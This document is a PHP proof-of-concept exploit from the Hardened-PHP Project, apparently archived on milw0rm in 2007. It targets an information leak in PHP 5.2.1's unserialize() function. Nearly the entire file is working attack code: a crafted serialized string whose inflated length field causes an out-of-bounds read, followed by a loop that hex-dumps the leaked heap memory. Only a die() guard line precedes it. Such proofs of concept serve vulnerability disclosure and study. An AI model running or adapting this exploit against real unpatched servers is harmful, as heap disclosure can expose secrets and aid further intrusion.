56 lines
No EOL
1.7 KiB
PHP
56 lines
No EOL
1.7 KiB
PHP
<?php
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////////////////////////////////////////////////////////////////////////
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// _ _ _ _ ___ _ _ ___ //
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// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
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// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
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// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
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// //
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// Proof of concept code from the Hardened-PHP Project //
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// (C) Copyright 2007 Stefan Esser //
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// //
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////////////////////////////////////////////////////////////////////////
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// PHP 5.2.1 unserialize() Information Leak Vulnerability //
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////////////////////////////////////////////////////////////////////////
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// This is meant as a protection against remote file inclusion.
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die("REMOVE THIS LINE");
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$str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
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$arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);
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$heapdump = unserialize($str);
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echo "Heapdump\n---------\n\n";
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$len = strlen($heapdump);
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for ($b=0; $b<$len; $b+=16) {
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printf("%08x: ", $b);
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for ($i=0; $i<16; $i++) {
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if ($b+$i<$len) {
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printf ("%02x ", ord($heapdump[$b+$i]));
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} else {
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printf (".. ");
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}
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}
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for ($i=0; $i<16; $i++) {
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if ($b+$i<$len) {
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$c = ord($heapdump[$b+$i]);
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} else {
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$c = 0;
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}
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if ($c > 127 || $c < 32) {
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$c = ord(".");
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}
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printf ("%c", $c);
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}
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printf("\n");
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}
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?>
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# milw0rm.com [2007-03-23]
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